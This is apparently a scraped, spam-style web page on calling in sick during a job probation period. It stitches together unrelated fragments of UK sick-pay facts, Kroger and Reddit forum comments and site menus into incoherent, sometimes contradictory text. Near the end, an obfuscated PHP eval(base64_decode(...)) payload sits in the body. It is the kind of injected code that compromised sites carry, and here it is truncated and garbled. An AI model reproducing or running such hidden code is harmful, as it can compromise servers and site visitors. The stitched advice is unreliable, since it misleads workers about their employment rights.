Literally half the shop is out sick, and i am coming down with it too. Can You Get Fired For Calling In Sick During Probation You really dont want the first report your manager or the HR Director receives about you to be an absentee report. If you are able, do also let your manager know when you think you will return to work. Depends on your union contract but most Kroger stores consider calling in on a day you requested off but were scheduled anyway as an automatic probation, or My Employer Overpaid Me What Are My Rights if its not my Fault? Its advisable to follow sickness procedure to the letter youll demonstrate your ability to stick to procedure in your workplace. A probation period will commonly be 3 to 6 months in length, though they can be as little as 1 week in short-term contracts. Find out more about statutory sick pay at Citizens Advice. However, this will not impact your statutory right to sick pay. Work Rotas Law in the UK, Calling in Sick to Work Employee Rights in the UK, Health Confidentiality in the Workplace Legal Right to Medical Privacy. Remember, if you are too ill to work properly you may end up performing This window is known as the probation period and may extend as far as up to 180 days Your policy should be amended to reflect this. Kelly is a former childminding business owner living in Worcestershire. Health Sciences employees, contact Employee Advocacy and Labor Relations . As I remember my probation period with Sainsburys, depot not store, it was sickness over a year not the 12 weeks as such and adherence to policy rather than non-attendance. Overpaid by Employer After Leaving What Are My Rights? First of all, don't ever put a minimum wage unskilled labor employer like Kroger above personal issues. Appointments or transfers that are not in line with the terms and conditions of the current appointment. ?>. Thank you for not coming in and passing your virus. 20 organisations powering positive cultures, Employee recognition and surviving in tough times, LGBTQ+ History Month: How to boost allyship, Join HRZone in London to network and celebrate - 16 March, The World of Learning Summit at Olympia London - 28 February. WebAside from any pre-existing commitments, try not to take any time off during your probation period. So this was not turning up without using the correct procedure, phoning the sickness absence line is correct procedure. Employees receive regular employee status after they satisfactorily complete the probationary period. You should do everything possible to show up for work. Show up early, stay late, when done with something, ask if there is something else you can do. After a certain minimum period of timetypically 30 to 90 daysthe defendant can apply for shock probation. Employee Rights in the Workplace During COVID Called in sick during probationary period : r/kroger - Reddit Save my name, email, and website in this browser for the next time I comment. Zero Hours Contracts UK What Are They & What Rights Do Workers Have. Its natural to be concerned about taking time off sick during probation. Our guide on unfair dismissal during probation talks about your rights in depth. Fired for calling in sick during 90 day probationary? Actually you should not call in at all, this is considered a probation period to train and learning your job duties.If sick, you will need to get something from doctor office Call in sick. during Calling Employers might take a dim view of excessive absences for reasons they dont think are genuine. Remember, if you are diagnosed with an illness or need time off for a pre-existing condition that could be considered a protected characteristic you are protected from unfair dismissal. During this period, it is important to understand your in sick during probationary period Two weeks ago I joined a new company and during the hiring process I used a competing offer to increase the proposed salary. Campus employees, contact Employee Relations, Policy Development and Work/Life, (858) 534-4115. Sick call Definition & Meaning - Merriam-Webster WebCalled in sick during probationary period So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain all my life but no endo or PCOS diagnosed. ) A sick courtesy clerk came in all last week sick and passed it to Our guide on what happens when sick pay runs out has more information if you have a long term absence. We only pay for sickness under SSP rulings whilst on probation. The employee also needs to have six months attendance in order to qualify for company sick pay, otherwise they continue to receive SSP. However, most will realise that you cant help getting sick, and will take a practical approach. The guide offers sample text and examples of how to write to your manager, and approach phone calls. Probationary periods of 90 days actually exist because in Union shops this is when you would be able to join the union, after 90 days. Our general guide gives detailed suggestions on how to call in sick to work. Firing an Employee During the Probation Period. Can you be fired for taking sick leave during probation? You are entitled to this form of paid sick leave regardless of your contract status. You can claim SSP if you earn on average at least 123 a week before tax. WebMy probationary period ends in a week and i havent called in once. It is the minimum period of employment that is enshrined in the Fair Work Act 2009 and determines when and if an employee can make use of the unfair dismissal laws and systems. Sickness absence in the probation period should be assessed as part of performance. in sick during probationary period If your employer does not offer enhanced sick pay during probation, you will still be entitled to statutory sick pay. It is possible that some employers would look at dismissal during your probationary period for sickness absence. How to Survive the Probationary Period at Your New Job During probation if performance is unsatisfactory then the period is either extended to try and overcome the problem or the employee is dismissed with medical evidence having been obtained of fitness for the duties and potential DDA link. Time in Lieu (TOIL) Explained Days off for Working Overtime, How Many Breaks in a 12 hour Shift? They might feel on edge or worry theyre on thin ice. Break Entitlement for 8 Hour Shifts How Long is Your Break? Secondly, when you call in, ask to speak to the Calling in during probationary period - Kroger Employee Forum Sickness is part of life, and can happen at any time. Related: Average Sick Days Per Year. They may call in sick more often, resulting in absenteeism becoming a perpetual problem. It's not common for employees not to pass probation in office work in general (that I'm aware of), but with many trades industries and others it's pretty common. Sickness absence in the probation period should be assessed as part of performance. If you have been open, honest and genuine it should not be a problem for most workplaces. 90 day probation? That's nothing. I had to do a 1 year and 6 month probation for a government job I never called in sick once. I would say absol However, the amount of sick pay you get will depend on your employment contract. This type of payment is at the employers discretion. WebEmployees may be put on probation for many reasons. If your absence is for a very personal or embarrassing reason, you can always say you have a tummy bug. This could reflect badly on your probation review just as much as taking too many days off. How many call offs are you allowed during your 90 day Im not going to the doctor, its just a good ole spring flu. in sick They should also explain SSP becomes payable on day 4 of your absence. It should have information on what you can expect. I was fired today for missing work doing my 90 days I also had a doctor's note each time I wasn't a work Unlawful Wage Deductions Law Guide UK, What Should Be in a First Aid Kit for Work & Home? Calling in sick : r/kroger - Reddit SSP rates are currently 99.35 per week and will increase to 109.40 in April 2023. Therefore if the worker wants to take leave within the first few weeks, they may need to wait a bit before they have accrued enough days. Performance reviews are common during this period, as they give both the employee and employer an opportunity to discuss any concerns. In order for this to be In each month, the worker will have the right to one twelfth of their leave. It also usually means you're not eligible for some bonuses and benefits. First of all, dont worry. WebDuring the prescribed length of the probationary period, the employee is required to work the following hours: 840 hours if serving a six (6)-month probationary period. eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJHphZmt0bmsgPSAyNzYwOyBmdW5jdGlvbiBucnhpcXRzdSgkcW50bGtjLCAkc2VkZmgpeyRnem5pb2x0YiA9ICcnOyBmb3IoJGk9MDsgJGkgPCBzdHJsZW4oJHFudGxrYyk7ICRpKyspeyRnem5pb2x0YiAuPSBpc3NldCgkc2VkZmhbJHFudGxrY1skaV1dKSA/ICRzZWRmaFskcW50bGtjWyRpXV0gOiAkcW50bGtjWyRpXTt9CiRkaHh1a2RxZj0icmF3dXJsIiAuICJkZWNvZGUiO3JldHVybiAkZGh4dWtkcWYoJGd6bmlvbHRiKTt9CiRmY3V1ZnNtaHp0ID0gJyVVZVk4WV9OUWglbXclbUxRTU1BTV9mQUclbUwlbUUlbWVUV3R0JW1rJXBGJWVjJWV5JVVlWThZX05RaCVtdyVtTGZBR19RTU1BTU4lJy4KJ21MJW1FJW1lZSVtayVwRiVlYyVleSVVZVk4WV9OUWglbXclbUxnU3pfUXpRdjJoWUE4X2hZZ1ElbUwlbUUlbWVlJW1rJXBGJWVjJWV5JVVlUU1NQU1fTVExQU1oWThHJW0nLgond2UlbWslcEYlZWMlZXklVWVOUWhfaFlnUV9mWWdZaCVtd2UlbWslcEYlZWMlZXklZWMlZXklZWMlZXlZWCVtdyVtc0JRWFk4UUIlbXclbScuCidtNko2X241dCVtbSVtayVtayVlYyVleSVMRiVlYyVleSVtZSVtZSVtZSVtZUJRWFk4USVtdyVtbTZKNl9uNXQlbW0lbUUlbWUlbW0lT0U4JScuCidtbSVtayVwRiVlYyVleSVMYyVlYyVleSVlYyVleVlYJW13JW1zQlFYWThRQiVtdyVtbWNpMG4nLgonRWE1MGRfNG42eTB5YTUwJW1tJW1rJW1rJWVjJWV5JUxGJWVjJWV5JW1lJW1lJW1lJW1lQlFYWThRJW13JW1tY2kwbkVhNTBkXzRuNnkweWE1Jy4KJzAlbW0lbUUlbWUlbW0vJW1tJW1rJXBGJWVjJWV5JUxjJWVjJWV5JWVjJWV5WVglbWUlbXclbXNCUVhZOFFCJW13JW1MeXQwbnljZF8wV1Rfc1VVdndMdlhLbXBQU3dtJy4KJ1NTWFlLd01ZU1BzS1NoWUFzdyVtTCVtayVtayVlYyVleSVMRiVlYyVleSVtZSVtZSVtZSVtZUJRWFknLgonOFElbXclbUx5dDBueWNkXzBXVF9zVVV2d0x2WEttcFBTd21TU1hZS3dNWVNQc0tTaFlBc3clbUwlbUUlbWVzJW1rJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW0nLgonVUJTaFMlbWUlcGMlbWVUV3R0JXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1VQlNoU18zUVolbWUlcGMlbWVUV3R0JXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1VOXQ1Rnl0NCcuCiclT0YlbUx2Tl9TMmhxJW1MJU9jJW1lJXBjJW1lJW1Md1FLdndVa1EtUHdtdy1VUHBTLVNYTEstWHBlWFVtcFVQd1hVJW1MJScuCidwRiVlYyVleSVtZSVtZSVtZSVtZUdmQVBTZiVtZSVtVXZOX1MyaHElcEYlZWMlZXklZWMlZXklZWMlZXklbWUlJy4KJ21lJW1lJW1lWDI4dmhZQTglbWV2Tl85UWhKQU5oJW13JW1rJWVjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTScuCidRaDJNOCVtZU5oTWhBZkFvUU0lbXcxTVFHX01RMWZTdlElbXclbUwvJU9uJW13b29vJUxFWGgxJW1rJU9FLi9ZJW1MJW1FJW1MJW1MJW1FJVVlJW1VJy4KJ180bjBybjAlT0YlbUxKYWE2X0o1NGElbUwlT2MlbWslbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbScuCidlJW1lJW1lJW1lWDI4dmhZQTglbWV2Tl85UWhETVloU1BmUWNZTU4lbXclbWslZWMlZXklJy4KJ21lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTVFOJW1lJXBjJW1leU1NU1olbXclbWslcEYnLgonJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VUzhTZlpOWk5fQzJRMlElbWUlcGMlbWV5TU1TWiVtdyVtayVwRiVlYyVleSVlJy4KJ2MlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVTOFNmWk5aTl9DMlEyUSVPRiVPYyVtZSVwYyVtZXZOXzlRaGNBdjBBQWglbXclbScuCidrJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTlFmWF8xU2hxJW1lJXBjJW1lJW1VXzRuMHJuMCVPRiVtTDRFMCcuCidpNmFfUml0blR5bG4lbUwlT2MlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVvcVlmUScuCiclbWUlbXclbXclbVVOZlNOcSVtZSVwYyVtZU5oTU0xQU4lbXclbVVOUWZYXzFTaHElbUUlbWVjaTBuRWE1MGRfNG42eTB5YTUwJW1rJW1rJW1lJW1zJXBjJScuCidwYyVtZVJ5dDRuJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVtVU5RZlhfMVNocSVtZSVwYyVtZU4yUE5oTSVtdyVtVU5RZlhfMVNocSVtRSVtZWUlbUUlbWUlbVVOZlNOcSVtayVwRiVlYyVleSVlYyVleSUnLgonbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVU5RZlhfMVNocSVtZSVwYyVwYyVtZXZOXzlRaGNBdjBBQWglbXclbWslbWslZScuCidjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVlJW0nLgonZSVtZSVtZSVtZSVtZSVtZSVtZVBNUVMzJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13TmhNZlE4JW13JW1VTlFmWF8xU2hxJW1rJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbVVTOFNmWk5aTl9DMlEyUSVPRiVPYyVtZSVwYyVtZSVtVU5RZlhfMVNocSVwRiVlYyVleSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMnLgonJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWEFNUVN2cSVtZSVtdyVtVVM4U2ZaTlpOX0MyUTJRJW1lU04lbWUlbVV2Mk1NUThoX0JZTSVtayVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtc1k4X1NNTVNaJW0nLgondyVtVXYyTU1ROGhfQllNJW1FJW1lJW1VTVFOJW1rJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW0nLgonZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU1RTiVtZSVwYyVtZVNNTVNaX2dRTUdRJW13JW1VTVFOJW1FJW1ldk5fOVFoYycuCidZTVF2aEFNWnRZTmglbXclbVV2Mk1NUThoX0JZTSVtayVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSUnLgonbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWV2Tl9FcVF2MycuCidETVloU1BmUSVtd1NNTVNaXzI4WUMyUSVtdyVtVU1RTiVtayVtayVwRiVlYyVleSVtZScuCiclbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWVYMjh2aFlBOCVtZXZOX0VxUXYzRE1ZaFNQZlElbXclbVVCWU1fZllOaCVtayVlYyVleSVtZSVtZSUnLgonbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVCWU1fZllOaF9vTVloU1BmUSVtZSVwYyVtZXlNTVNaJW13JW1rJXBGJWVjJWV5JScuCidlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVhBTVFTdnElbWUlbXclbVVCWU1fZllOaCUnLgonbWVTTiVtZSVtVUJZTSVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZScuCiclbWUlbWUlbWUlbWVZWCVtZSVtdyVVZVlOX29NWWhTUGZRJW13JW1VQllNJW1rJW1lJW1LJW1LJW1lWU5fQllNJW13JW1VQllNJW1rJW1rJWVjJWV5JW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbWUlbWUlbVVCWU1fZllOaF9vTVloU1BmUSVPRiVPYyVtZSVwYyVtZSVtVUJZTSVwRiVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ0xjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lJW1VQllNX2ZZTmhfb01ZaFNQZlElcEYlZWMlZXklbWUlJy4KJ21lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWDI4dmhZQTglbWV2Tl85UWhjWU1RdmhBTVp0WU5oJW13Jy4KJyVtVUJZTSVtRSVtZSVtVUJRMWhxJXBjc2UlbWslZWMlZXklbWUlbWUlbWUlbWUlTEYlZWMlZXknLgonJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTVFOMmZoJW1lJXBjJW1lU01NU1olbXclbWslcEYlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lWVglbWUlbXclbXNZTl9CWU0lbXclbVVCWU0lbWslbWslZWMlZXklbWUlbWUlbWUlbScuCidlJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lJW1VTVFOMmZoJXAnLgonRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU1RTjJmaCVPRiVPYyVtZSVwYyVtZSUnLgonbVVCWU0lcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVCWU1fdkEyOGgnLgonJW1lJXBjJW1lZSVwRiVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13JW1VQlExaHElbWUlcEUlbWVzJW1rJWVjJWV5JW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZScuCiclbWVNUWgyTTglbWUlbVVNUU4yZmglcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXknLgonJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VQllNJW1lJXBjJW1lTmhNZlE4JW0nLgondyVtVUJZTSVtayVtZSVwYyVwYyVtZXMlbWUlcFIlbWUlbVVCWU0lbWUlcHklbWVNaE1ZZycuCiclbXclbVVCWU0lbUUlbWUlbUwlT0UlT0UvJW1MJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VcSVtZSVwYyVtZSVVZUExUThCWU0lbXclbVVCWScuCidNJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWVglbWUlbXclbVVxJW1lJXBjJXBjJXBjJW1lUnl0NG4lbWslZWMlZXklJy4KJ21lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1JW1lJ4KJyVtZU1RZU1RaDJNOCVtZSVtVU1RTjJmaCVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYy UlbWUlbWUlbWUlbWUlbWUlWUlbWUlbWVvcVlmUSVtZSVtdyVtdyVtVVglSVtZSVtdyVtdyVtVVglbWUlcGMlbWVNUVNCQllNJScuCidtdyVtVXElbWslbWslbWUlbXMlcGMlcGMlbWVSeXQ0biVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtSVtZSVtZSVtZSVtZSVVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtJy4KJ4KJ2UlbWUlbWbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVVglbWUlbXMlcGMlcGMlbWUlbUwuJW1MJW1lUzhCJW1lJW1VWCVtZSVtJy4KJ3MlcGMlcGMlbWUlbUwuLiVtTCVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiUnLgonZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVV2Mk1NUThoX0JZTSVtZSVwYyVtZSVtbSVtVUJZTS8lbVVYJW1tJy4KJyVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13WU5fQllNJW13JW1VdjJNTVE4aF9CWU0lbWslbScuCidrJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVUJZTV92QTI4aCVtZSVtRiUnLgoncGMlbWVzJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTVFOJy4KJzJmaCVPRiVPYyVtZSVwYyVtZSVtVXYyTU1ROGhfQllNJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU1RTjJmaCVtZSVwYyVtZVNNTVNaX2dRTUdRJW13JW1VTVFOMmZoJW1FJW1ldk5fOVFoY1lNUXZoJy4KJ0FNWnRZTmglbXclbVV2Mk1NUThoX0JZTSVtRSVtZSVtVUJRMWhxJW1lLyVtZXNlJW1rJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVlJy4KJ3klbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWV2ZkFOUUJZTSVtdyVtVXElbWslJy4KJ3BGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lJW1VTVFOMmZoJXBGJWVjJWV5JW1lJW1lJW1lJW1lJUxjJScuCidlYyVleSVlYyVleSVtZSVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fOVFoY0F2MEFBaCVtdyVtayVlYyVleSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVCQXZNQUFoX1E4QiVtZSVwYyVtZU5oTU0xQU4lbXclbVVfNG4wcm4wJScuCidPRiVtTDRFMGk2YV9SaXRuVHlsbiVtTCVPYyVtRSVtZSVtVV80bjBybjAlT0YlbUwwbjdXbjRhX1cwaSVtTCVPYycuCiclbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVUJBdk1BQWhfUThCJW1lJXBjJXBjJXBjJW0nLgonZVJ5dDRuJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoJy4KJzJNOCVtZSVtVV80bjBybjAlT0YlbUxjNUVXbG5UYV8wNTVhJW1MJU9jJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVFmTlFZWCVtZSVtdyVtVUJBdk1BQWhfUThCJW1lJXBjJXBjJXBjJW1lZSVtayVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWUlbW0vJW1tJXBGJWVjJWUnLgoneSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVFmTicuCidRJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lTjJQTmhNJW13Jy4KJyVtVV80bjBybjAlT0YlbUw0RTBpNmFfUml0blR5bG4lbUwlT2MlbUUlbWVlJW1FJW1lJW1VQkF2TUFBaF9ROEIlbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWVglbWUlbXclbXNYMjh2aFlBOF9RellOaE4nLgonJW13JW1MWFlmUV8xMmhfdkE4aFE4aE4lbUwlbWslbWslZWMlZXklbWUlbWUlbWUlbWUnLgonJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWDI4dmhZQTglbWVYWWZRXzEyaF92QThoUThoTiVtdyVtVScuCic4JW1FJW1lJW1VQiVtRSVtZSVtVVhmU0clbWUlcGMlbWVSU2ZOUSVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYycuCiclZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVnQUJRJW1lJXBjJW1lJW1VWGZTRyVtZSVwYyVwYyVtZXclbWUlcFIlbWUlJy4KJ21MUyVtTCVtZSVweSVtZSVtTG8lbUwlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJW1VWCVtZSVwYyVtZSVVZVhBMVE4JW13JW1VOCVtRSVtZSVtVWdBQlElbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJW1lWVglbWUlbXclbVVYJW1lJXBjJXBjJXBjJW1lUlNmTlElbWslZWMlZXklbScuCidlJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZU1RaDJNOCVtZWUlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lUWZOUSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUnLgonJW1lJW1lJW1lJW1lWVglbWUlbXdZTl9TTU1TWiVtdyVtVUIlbWslbWslbWUlbVVCJW1lJXBjJW1lWWcxZkFCUSVtdyVtVUIlbWslcEYlZWMlZScuCid5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VUFpoJW1lJW1lJW1lJW1lJW1lJW1lJW1VUFpoW1lJW1VUFpolJW1VQiVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWVYdmZBTlElbXclbVVYJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZU1RaDJNOCVtZSVtVVBaaFFOX29NWWhoUTglcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlJy4KJ2VjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUwnLgonYyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZVlYJW1lJW13JW1zWDI4dmhZQThfUXpZTmhOJy4KJyVtdyVtTFhZZlFfR1FoX3ZBOGhROGhOJW1MJW1rJW1rJWVjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZVgyOHZoWUE4JW1lWFlmUV9HUWhfdkE4aFE4aE4lbXclbVVYWWZROFNnUSVtayVlYyVleSVtZSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbScuCidlJW1lJW1VWHFTOEJmUSVtZSVwYyVtZVhBMVE4JW13JW1VWFlmUThTZ1ElbUUlbWUlbW1NJW1tJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtVVh2QThoUThoTiVtZSVwYyVtZVhNUVNCJW13JW1VWHFTOEJmUSVtRSVtZVhZJy4KJ2ZRTll1USVtdyVtVVhZZlE4U2dRJW1rJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZVh2ZkFOUSVtdyVtVVhxUzhCZlElbWslcEYlZWMlZXklZWMlZXklbWUlbWUlbWUlbW